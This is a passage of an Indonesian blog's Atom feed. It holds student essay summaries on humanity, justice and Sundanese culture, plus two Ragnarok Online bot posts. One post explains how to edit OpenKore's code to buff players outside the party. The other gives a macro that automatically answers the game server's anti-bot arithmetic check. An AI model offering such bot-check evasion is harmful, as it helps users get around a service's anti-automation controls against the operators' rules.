jiwa yang akan membantu dalam berinteraksi dan berkomunikasi dengan orang lain ataupun bersosialisasi dengan orang lain sehingga terjalin secara positf dan berkesan dengan baik sehingga apa yang diharapkan dapat terwujud. &lt;span class="fullpost"&gt; &lt;br /&gt;&lt;br /&gt;Adapun kepercayaan kepada orang lain bisa ditimbulkan dengan merasa pantang untuk melakukan kebodohan dan kecurangan ataupun perilaku korupsi sehingga orang lain merasa percaya dalam membebankan apa yang diamanatkannya dan itu merupakan sesuatu yang kita harapkan. Hal tersebut bisa disebut dengan relationship. Kepercayaan terhadap Tuhan dapat diwujudkan dengan menjalankan segala perintah yang disuruh-Nya dan meninggalkan segala larangan-Nya serta beribadah dan beramal sesuai dengan agama yang diyakini. Dalam hal ini pengertian ibadah secara luas dimana kesemua kegiatan berorientasi kepada Tuhan Yang Maha Esa. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-678568778762318319?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/678568778762318319/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/06/resume-manusia-dan-harapan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/678568778762318319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/678568778762318319'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/06/resume-manusia-dan-harapan.html' title='Resume Manusia Dan Harapan'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bPukrXvQvG0/TAjJk52zVLI/AAAAAAAAABY/YdqMkfjsC5A/s72-c/have+a+dream.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2866277662800867591</id><published>2010-06-04T16:31:00.001+07:00</published><updated>2010-06-04T16:31:57.059+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBD'/><title type='text'>Resume Manusia Dan Tanggung Jawabnya</title><content type='html'>Tanggung jawab adalah sifat terpuji yang mendasar dalam diri manusia. Selaras dengan fitrah. Tapi bisa juga tergeser oleh faktor eksternal. Setiap individu memiliki sifat ini. Ia akan semakin membaik bila kepribadian orang tersebut semakin meningkat. Ia akan selalu ada dalam diri manusia karena pada dasarnya setiap insan tidak bisa melepaskan diri dari kehidupan sekitar yang menunutut kepedulian dan tanggung jawab. Inilah yang menyebabkan frekwensi tanggung jawab masing-masing individu berbeda.&lt;br /&gt;&lt;br /&gt;Tanggung jawab mempunyai kaitan yang sangat erat dengan perasaan. Yang kami maksud adalah perasaan nurani kita, hati kita, yang mempunyai pengaruh besar dalam mengarahkan sikap kita menuju hal positif. Nabi bersabda: "Mintalah petunjuk pada hati (nurani)mu." &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Tanggung jawab bisa dikelompokkan dalam dua hal. Pertama, tanggung jawab individu terhadap dirinya pribadi. Dia harus bertanggung jawab terhadap akal(pikiran)nya, ilmu, raga, harta, waktu, dan kehidupannya secara umum. Rasulullah bersabda: "Bani Adam tidak akan lepas dari empat pertanyaan (pada hari kiamat nanti); Tentang umur, untuk apa ia habiskan; Tentang masa muda, bagaimana ia pergunakan; Tentang harta, dari mana ia peroleh dan untuk apa ia gunakan; Tentang ilmu, untuk apa ia amalkan."  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2866277662800867591?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2866277662800867591/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/06/resume-manusia-dan-tanggung-jawabnya.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2866277662800867591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2866277662800867591'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/06/resume-manusia-dan-tanggung-jawabnya.html' title='Resume Manusia Dan Tanggung Jawabnya'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-26262141983419499</id><published>2010-06-04T16:29:00.000+07:00</published><updated>2010-06-04T16:43:06.302+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBD'/><title type='text'>Resume Manusia Dan Keadilan</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_bPukrXvQvG0/TAjKF94jPUI/AAAAAAAAABg/txWKRACkP5A/s1600/keadilan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/_bPukrXvQvG0/TAjKF94jPUI/AAAAAAAAABg/txWKRACkP5A/s200/keadilan.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Manusia dan Keadilan&lt;br /&gt;Pengertian Keadilan.&lt;br /&gt;Keadilan menurut Aristoteles adalah titik tengah diantara kedua ujung ekstrem yang terlalu banyak dan terlalu sedikit dalam tindakan manusia yang menyangkut dengan manusia lain atau dengan benda.&lt;br /&gt;Misalnya ada dua orang tersebut mempunyai kesamaan dalam ukuran yang telah ditetapkan, maka orang” tersebut memperoleh benda atau hasil yang sama,bila tidak demikian maka ada ketidak adilan.&lt;br /&gt;Banyak manusia yang berpendapat tentang keadilan,dan pendapat yang lebih umum untuk keadilan adalah pengakuan dan perlakuan seimbang antara hak dan kewajiban. Atau dengan kata lain adalah keadaan saat setiap orang memperoleh apa yang menjadi haknya dan setiap orang memperoleh yang sama dari kekayaan bersama. &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Keadilan Sosial.&lt;br /&gt;Cita” keadilan social dalam bidang ekonomi dalam Indonesia ialah dapat mencapai kemakmuran merata yang dalam sila “keadilan social bagi seluruh rakyat Indonesia” diurai Bung Hatta menjadi “keadilan social adalah langkah yang menentukan untuk melaksanakan Indonesia yang adil dan makmur”&lt;br /&gt;Untuk mewujudkan keadilan social itu, diperinci perbuatan dan sikap yang perlu dipupuk,misalnya:&lt;br /&gt; Perbuatan luhur yang mencerminkan sikap dan suasana kekeluargaan dan kegotongroyongan.&lt;br /&gt; Sikap adil terhadap sesama, menjaga keseimbangan antara hak dan kewajiban serta menghormati hak” orang lain.&lt;br /&gt; Sikap suka memberi pertolongan terhadap orang yang memerlukan.&lt;br /&gt; Sikap suka bekerja keras.&lt;br /&gt; Sikap menghargai hasil karya orang lain yang bermanfaat untuk mencapai kemajuan dan kesejahteraan bersama.&lt;br /&gt;Keadilan dan ketidakadilan tak dapat dipisahkan dalam kehidupan manusia karna dalam hidupnya manusia menghadapi keadilan / ketidakadilan setiap hari. Oleh sebab itu keadilan dan ketidakadilan menimbulkan daya kreativitas manusia. Banyak hasil seni lahir dari imajinasi ketidakadilan, seperti drama, puisi, novel, music dan lain”.  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-26262141983419499?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/26262141983419499/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/06/resume-manusia-dan-keadilan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/26262141983419499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/26262141983419499'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/06/resume-manusia-dan-keadilan.html' title='Resume Manusia Dan Keadilan'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bPukrXvQvG0/TAjKF94jPUI/AAAAAAAAABg/txWKRACkP5A/s72-c/keadilan.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2230626332560883838</id><published>2010-05-07T11:13:00.000+07:00</published><updated>2010-05-07T11:17:28.508+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zeus Low Rate'/><title type='text'>Auto Distance Buff</title><content type='html'>Biar Paket Automatic bisa koq dari config gini caranya, cari file CoreLogic.pm di folder openkore &gt;&gt; src &gt;&gt; AI.&lt;br /&gt;&lt;br /&gt;search aja bagian yg kaya gni..&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;sub processPartySkillUse&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;Terus di apus bagian yg ini..&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;next if ((!$char-&gt;{party} || !$char-&gt;{party}{users}{$ID}) &amp;&amp; (!$char-&gt;{homunculus} || $char-&gt;{homunculus}{ID} ne $ID) &amp;&amp; !$config{"partySkill_$i"."_notPartyOnly"});&lt;br /&gt;next if ($char-&gt;{party}{users}{$ID}-&gt;{name} ne $playersList-&gt;getByID($ID)-&gt;name);&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Kan kadang klo dari jauh lgsg dipaket nah buat ngaturnya bisa dari situ juga, default distance-nya di ubah..&lt;br /&gt;Cari bagian yg keq gni..&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;if (inRange(distance($char-&gt;{pos_to}, $players{$ID}{pos}), $config{partySkillDistance} || "1..8")&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;jadi&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;if (inRange(distance($char-&gt;{pos_to}, $players{$ID}{pos}), $config{partySkillDistance} || "1..5")&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;1..5 tuh artinya jarak 1 s/d 5 kotak..&lt;br /&gt;&lt;br /&gt;jangan lupa di config dibagian partySkill yah..&lt;br /&gt;dtambahin &lt;b&gt;notpartyOnly 1&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;terus juga kalo mau targetnya ke guild bisa dtambahin lagi &lt;b&gt;target_isGuild [nama guild]&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;contohnya keq gni..&lt;br /&gt;&lt;blockquote&gt;partySkill Assumptio {&lt;br /&gt;lvl 10&lt;br /&gt;maxCastTime 0&lt;br /&gt;minCastTime 0&lt;br /&gt;hp&lt;br /&gt;sp &gt; 10&lt;br /&gt;homunculus_hp&lt;br /&gt;homunculus_sp&lt;br /&gt;homunculus_dead&lt;br /&gt;onAction&lt;br /&gt;whenStatusActive&lt;br /&gt;whenStatusInactive&lt;br /&gt;whenFollowing&lt;br /&gt;spirit&lt;br /&gt;aggressives&lt;br /&gt;monsters&lt;br /&gt;notMonsters&lt;br /&gt;stopWhenHit 0&lt;br /&gt;inLockOnly 0&lt;br /&gt;notWhileSitting 0&lt;br /&gt;notInTown 0&lt;br /&gt;timeout 60&lt;br /&gt;disabled 0&lt;br /&gt;manualAI 0&lt;br /&gt;target_isGuild Light Shiny Shine&lt;br /&gt;notPartyOnly 1&lt;br /&gt;target_hp&lt;br /&gt;target_isJob&lt;br /&gt;target_isNotJob&lt;br /&gt;target_whenStatusActive&lt;br /&gt;target_whenStatusInactive Assumptio&lt;br /&gt;target_aggressives&lt;br /&gt;target_monsters&lt;br /&gt;target_timeout 60&lt;br /&gt;target_deltaHp&lt;br /&gt;target_dead 0&lt;br /&gt;inInventory&lt;br /&gt;isSelfSkill 0&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;kalo buat Spirit contohnya ntar di config jadi kaya gni..&lt;br /&gt;&lt;blockquote&gt;partySkill Monk {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Monk, Champion&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 30&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;partySkill Sage {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Sage, Professor&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 30&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;partySkill Crusader {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Crusader, Paladin&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 30&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;partySkill Wizard {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Wizard, High Wizard&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 30&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;partySkill Priest {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Priest, High Priest&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 25&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;partySkill Rogue {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Rogue, Stalker&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 30&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;partySkill Assassin {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Assassin, Assassin Cross&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 30&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;partySkill Blacksmith {&lt;br /&gt; lvl 10&lt;br /&gt; hp&lt;br /&gt; sp &gt; 10&lt;br /&gt; timeout 30&lt;br /&gt; target_isGuild Light Shiny Shine&lt;br /&gt; target_isJob Blacksmith, Whitesmith&lt;br /&gt; notPartyOnly 1&lt;br /&gt; target_timeout 30&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;Syarat spirit, &lt;b&gt;Sleeptime&lt;/b&gt; jgn diganti ganti, normal aja 10000,kalo diganti efeknya dia mengompress command yg g berguna, ntar sbagian command di config ada yg g dijalanin..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2230626332560883838?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2230626332560883838/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/05/auto-distance-buff.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2230626332560883838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2230626332560883838'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/05/auto-distance-buff.html' title='Auto Distance Buff'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-4031730529843741251</id><published>2010-05-06T07:53:00.001+07:00</published><updated>2010-05-06T07:54:42.892+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zeus Low Rate'/><title type='text'>Bot Check Zeus Low Rate</title><content type='html'>#################### ZEUS LOW RATE RO ############################&lt;br /&gt;&lt;br /&gt;automacro botcheck {&lt;br /&gt;console /Unknown (.*): (.*)ditambah (.*) sama dengan/&lt;br /&gt;run-once 1&lt;br /&gt;call {&lt;br /&gt;$number1 = $.lastMatch2&lt;br /&gt;$number2 = $.lastMatch3&lt;br /&gt;$hasil = @eval ($number1 + $number2)&lt;br /&gt;&lt;br /&gt;do talk num $hasil&lt;br /&gt;&lt;br /&gt;do reload macro&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;automacro botcheck2 {&lt;br /&gt;console /Unknown (.*): (.*)dikurang (.*) sama dengan/&lt;br /&gt;run-once 1&lt;br /&gt;call {&lt;br /&gt;$number1 = $.lastMatch2&lt;br /&gt;$number2 = $.lastMatch3&lt;br /&gt;$hasil = @eval ($number1 - $number2)&lt;br /&gt;&lt;br /&gt;do talk num $hasil&lt;br /&gt;&lt;br /&gt;do reload macro&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;##############################################################&lt;br /&gt;  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-4031730529843741251?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/4031730529843741251/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/05/bot-check-zeus-low-rate.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4031730529843741251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4031730529843741251'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/05/bot-check-zeus-low-rate.html' title='Bot Check Zeus Low Rate'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-733019701984259052</id><published>2010-04-17T12:37:00.001+07:00</published><updated>2010-06-04T16:43:24.496+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBD'/><title type='text'>ResumeTentang Manusia Dan Keindahannya</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_bPukrXvQvG0/TAjKiQIphDI/AAAAAAAAABo/boCdHmoItJE/s1600/keindahan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="120" src="http://1.bp.blogspot.com/_bPukrXvQvG0/TAjKiQIphDI/AAAAAAAAABo/boCdHmoItJE/s200/keindahan.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Keindahan berasal dari kata indah yang berarti bagus, permai, cantik, elok, molek, dan sebagainya. Benda yang mempunyai sifat indah ialah segala hasil seni, pemandangan alam, manusia, rumah, tatanan, perabot rumah angga, suara, warna, dan sebagainya.&lt;br /&gt;Keindahan identik dengan kebenaran. Keindahan kebenaran dan kebenaran adalah keindahan. Keudanya mempunyai nilai yang sama yaitu abadi, dan mempunyai daya tarik yang selalu bertambah.&lt;br /&gt;Keindahan juga bersifat universal, artinya tidak terikat oleh selera perseorangan, waktu dan tempat.&lt;br /&gt;Apakah keindahan itu? Sebenarnya sulit bagi kita untuk menyatakan apakah keindahan itu. Keindahan itu adalah suatu konsep abstrak yang tidak dapat dinikmati karena tidak jelas. Keindahan itu baru jelas jika telah dihubungkan dengan sesuatu yang berwujud atau suatu karya.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Disamping itu terdapat pula perbedaan menurut luasnya pengertian :&lt;br /&gt;- Keindahan dalam arti yang luas&lt;br /&gt;- Keindahan dalam arti estetis murni&lt;br /&gt;- Keindahan dalam arti terbatas dalam hubungannya dengan penglihatan&lt;br /&gt;Pengertian keindahan yang seluas-luasnya meliputi :&lt;br /&gt;- Keindahan seni&lt;br /&gt;- Keindahan alam&lt;br /&gt;- Keindahan moral&lt;br /&gt;- Keindahan intelektual&lt;br /&gt;&lt;br /&gt;Keindahan mempunyai :&lt;br /&gt;- Nilai estetik&lt;br /&gt;- Kontemplasi dan ekstansi&lt;br /&gt;- Keserasian&lt;br /&gt;&lt;br /&gt;Renungan mempunyai 3 teori :&lt;br /&gt;Teori Pengungkapan teroi ini behubungan dengan apa yang di alami oleh seorang seniman ketika menciptakan suatu karya seni.&lt;br /&gt;Teori Metafisik teori seni ini yang bercorak metafisis merupakan salah satu teori yang tertua, yakni berasal dari Plato yang karya karya tulisannya untuk sebagian membahas estetik filsafati, konsepsi keindahan dan teori seni.&lt;br /&gt;Teori Psikologis teori yang menggunakan sifat psikologi sebagai panduannya menciptakan karya seni.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-733019701984259052?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/733019701984259052/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/04/rangkuman-tentang-manusia-dan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/733019701984259052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/733019701984259052'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/04/rangkuman-tentang-manusia-dan.html' title='ResumeTentang Manusia Dan Keindahannya'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bPukrXvQvG0/TAjKiQIphDI/AAAAAAAAABo/boCdHmoItJE/s72-c/keindahan.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-972105015970386526</id><published>2010-04-17T12:35:00.000+07:00</published><updated>2010-04-17T12:35:04.920+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBD'/><title type='text'>Kebudayaan Sunda</title><content type='html'>Kebudayaan Sunda, awalnya Sunda sudah ada dan sangat berperan bagi indonesia, tidak hanya Jawa, Sunda juga mempunyai suatu ciri khas baik kata, maupun yang lainnya. Sunda itu sendiri terkenal dengan kesopanannya dalam berbicara, bisa dibilang hampir mirip dengan orang Jawa. Alat musik khas dari orang Sunda itu salah satunya adalah Angklung dan Suling, alat musik itu mempunyai bentuk khas dan terbuat dari kayu.&lt;br /&gt;Ada lagi tarian dari orang sunda yaitu Ronggeng, tarian yang penuh ke alusan para wanita terdahulu sering menarikan tarian Ronggeng tersebut, Seni tarian tersebut akhirnya berkembang mengikuti jaman hingga melewati dari panggung satu ke panggung yang lainnya.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Tarian tersebut sekarang lebih terkenal dengan tarian Jaipongan, Sunda juga mempunyai kebiasaan makan dengan sayur sayuran, dimana semua sayuran tersebut disatukan lalu dimakan, biasanya disebut dengan lalapan. Lalapan tersebut biasanya sebagai penambah ketika sedang memakan.&lt;br /&gt;Kota Sunda yang terkenal ialah kota Bandung, banyak pendatang dari Jakarta dan sekitarnya datang ke Bandung, disana orang orang yang datang sebentar saja sudah bisa mempunyai logat Sunda yang halus lembut.&lt;br /&gt;Sunda sendiri mempunyai ruang lingkup yang besar, untuk menelusurinya butuh waktu sama halnya dengan kebudayaan yang lainnya.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-972105015970386526?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/972105015970386526/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/04/kebudayaan-sunda.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/972105015970386526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/972105015970386526'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/04/kebudayaan-sunda.html' title='Kebudayaan Sunda'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-1664085630768803943</id><published>2010-04-15T15:00:00.001+07:00</published><updated>2010-04-15T15:03:15.493+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBD'/><title type='text'>Manusia</title><content type='html'>Manusia dapat diartikan berbeda-beda. Menurut biologis, rohani, dan istilah kebudayaan, atau secara campuran Manusia itu sendiri mempunyai arti khusus.&lt;br /&gt;Secara biologis, manusia diklasifikasikan sebagai Homo sapiens.&lt;br /&gt;Dalam hal kerohanian, Manusia lahir dengan kesempurnaan tanpa cacat dan tanpa dosa, manusia itu sendiri diartikan pada dasarnya sebagai Pelindung Bumi.&lt;br /&gt;Dalam kebudayaan, Manusia dijabarkan melalui adat atau istiadat Manusia itu sendiri sebagai contohnya ialah penggunaan bahasanya atau juga cara berpakai, berbeda dengan hewan dan tumbuhan karena mereka tidak mempunyai pakaian.&lt;br /&gt;Ciri ciri seorang Manusia pada umumnya dapat diketahui jenis kelaminnya. Ciri lainnya adalah berdasarkan usia, mulai dari janin, bayi, balita, anak-anak, remaja, akil balik, pemuda/i, dewasa, dan (orang) tua.&lt;br /&gt;&lt;span class = "fullpost"&gt;&lt;br /&gt;Memikirkan tentang manusia maka yang tergambar dalam fikiran adalah berbagai macam perfektif, ada yang mengatakan masnusia adalah hewan rasional (animal rasional). &lt;br /&gt;Ada juga yang menilai tentang manusia adalah sebagai homo feber dimana manusia adalah hewan yang melakukan pekerjaan dan dapat gila terhadap kerja.&lt;br /&gt;Manusia memang sebagai mahluk yang aneh dikarenakan disatu pihak ia merupakan “mahluk alami”, seperti yang lainnya ia memerlukan alam untuk hidup. Dipihak lain ia berhadapan dengan alam sebagai sesuatu yang asing ia harus menyesuaikan alam sesuai dengan kebutuh-kebutuhannya.&lt;br /&gt;Manusia dalam bermaian memiliki ciri khasnya dalam suatu kehidupan yang bersifat fun. Fun disini merupakan kombinasi lucu dan menyenangkan.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-1664085630768803943?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 